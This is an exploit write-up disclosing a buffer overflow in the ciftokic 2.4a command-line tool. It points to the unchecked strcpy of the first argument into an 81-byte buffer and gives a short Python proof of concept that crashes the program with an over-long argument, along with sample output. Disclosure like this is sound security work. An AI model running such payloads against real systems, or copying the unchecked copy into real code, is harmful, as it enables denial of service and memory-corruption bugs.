Ciftokic 2.4a - Denial of Service Exploit

# Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow
# Exploit Author: @JosueEncinar
# Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1
# Version: 2.4a 
# Tested on: Ubuntu 18.04

'''
If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;.  
In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);

If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow.
'''

# To test the code use Python 3.6+
from os import system
from sys import argv


def print_usage():
    print("Usage: python3 ciftokic_overflow.py <characters_numbers>")
    print("      |_No Buffer Overflow: python3 ciftokic_overflow.py 80")
    print("      |_Buffer Overflow: python3 ciftokic_overflow.py 81")

if len(argv) == 1:
    print_usage()
else:
    try:
        number = int(argv[1])
        payload = "J"*number
        system(f"ciftokic {payload}")
    except:
        print_usage()


"""

Output Example:

josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80
Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81
*** buffer overflow detected ***: ciftokic terminated
Aborted (core dumped)

"""